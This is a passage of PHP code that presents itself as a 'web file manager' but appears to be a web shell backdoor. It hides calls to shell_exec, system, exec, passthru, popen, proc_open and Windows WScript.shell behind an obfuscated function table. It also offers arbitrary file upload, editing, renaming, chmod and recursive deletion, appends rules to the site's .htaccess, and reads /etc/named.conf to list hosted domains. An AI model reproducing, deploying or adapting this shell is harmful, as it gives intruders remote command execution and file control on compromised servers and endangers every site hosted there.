芝麻web文件管理V1.00
') {
// pengecekan nama file sekarang
$namafile = $_SERVER['SCRIPT_FILENAME'];
$fileUtama = explode("/", $namafile);
$htaccess_text = '
Order Deny,Allow
Deny from all
Order Deny, Allow
Allow from all
';
$document_root = $_SERVER[$fungsi[33]];
$cmd = $fungsi[14]("echo '" . $htaccess_text . "' >> " . $document_root . "/.htaccess");
if ($cmd) {
echo success();
} else {
echo failed();
}
} else {
echo failed();
}
}
if (isset($_POST['submit-chmod'])) {
$numberChmod = $_POST['chmod'];
$chm_o_d = chmod($fungsi[9] . "/" . $_GET['chmod'], is_int($numberChmod));
if ($chm_o_d) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST['upload-submit'])) {
$name_file = $_FILES['gecko-file']['name'];
$tmp_name = $_FILES['gecko-file']['tmp_name'];
$move = move_uploaded_file($tmp_name, __DIR__ . "/" . $name_file);
if ($move) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST['submit-rename'])) {
$new_name = $_POST['rename'];
$re_name = rename($fungsi[9]() . "/" . $_GET['rename'], $new_name);
if ($re_name) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST['submit-file'])) {
$textarea = $_POST['text-file'];
$write = $fungsi[28]($fungsi[9]() . "/" . $_GET['f'], $textarea);
if ($write) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST['gecko-submit'])) {
$item = $_POST['check-gecko'];
if ($_POST['action-gecko'] == "delete") {
foreach ($item as $it) {
$repl = str_replace("\\", "/", $fungsi[9]()); // Untuk Windows Path
$fd = $repl . "/" . $it;
if ($fungsi[18]($fd) || $fungsi[17]($fd)) {
$rmdir = unlinkDir($fd);
$rmfile = $fungsi[30]($fd);
if ($rmdir || $rmfile) {
echo success();
} else {
echo failed();
}
}
}
}
}
function success()
{
return '
';
}
function failed()
{
return '
';
}
function _mad_cmd($de)
{
$out = '';
try {
if (function_exists('shell_exec')) {
return @$GLOBALS['fungsi'][0]($de);
} else if (function_exists('system')) {
@$GLOBALS['fungsi'][3]($de);
} else if (function_exists('exec')) {
$exec = array();
@$GLOBALS['fungsi'][1]($de, $exec);
$out = @join("\n", $exec);
return $exec;
} else if (function_exists('passthru')) {
@$GLOBALS['fungsi'][2]($de);
} else if (function_exists('popen') && function_exists('pclose')) {
if (is_resource($f = @$GLOBALS['fungsi'][5]($de, "r"))) {
$out = "";
while (!@feof($f))
$out .= fread($f, 1024);
return $out;
$GLOBALS['fungsi'][6]($f);
}
} else if (function_exists('proc_open')) {
$pipes = array();
$process = @$GLOBALS['fungsi'][4]($de . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
$out = @$GLOBALS['fungsi'][8]($pipes[1]);
return $out;
} else if (class_exists('COM')) {
$madWs = new COM('WScript.shell');
$exec = $madWs->$GLOBALS['fungsi'][1]('cmd.exe /c ' . $_POST['alfa1']);
$stdout = $exec->StdOut();
$out = $stdout->ReadAll();
}
} catch (Exception $e) {
}
return $out;
}
function unlinkDir($dir)
{
$dirs = array($dir);
$files = array();
for ($i = 0;; $i++) {
if (isset($dirs[$i]))
$dir = $dirs[$i];
else
break;
if ($openDir = opendir($dir)) {
while ($readDir = @readdir($openDir)) {
if ($readDir != "." && $readDir != "..") {
if ($GLOBALS['fungsi'][18]($dir . "/" . $readDir)) {
$dirs[] = $dir . "/" . $readDir;
} else {
$files[] = $dir . "/" . $readDir;
}
}
}
}
}
foreach ($files as $file) {
$GLOBALS['fungsi'][30]($file);
}
$dirs = array_reverse($dirs);
foreach ($dirs as $dir) {
$GLOBALS['fungsi'][29]($dir);
}
}
function formatSize($bytes)
{
$types = array('
B', '
KB', '
MB', '
GB', '
TB');
for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
return (round($bytes, 2) . " " . $types[$i]);
}
function symlinkDomain()
{
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
$dom = "
Cant Read [ /etc/named.conf ]";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
return $dom;
}
function linux_version()
{
$pecah = explode(" ", $GLOBALS['fungsi'][11]());
$pcah = explode("-", $pecah[2]);
return $pcah[0];
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hex($n)
{
$y = '';
for ($i = 0; $i < strlen($n); $i++) {
$y .= dechex(ord($n[$i]));
}
return $y;
}
function unhex($y)
{
$n = '';
for ($i = 0; $i < strlen($y) - 1; $i += 2) {
$n .= chr(hexdec($y[$i] . $y[$i + 1]));
}
return $n;
}
?>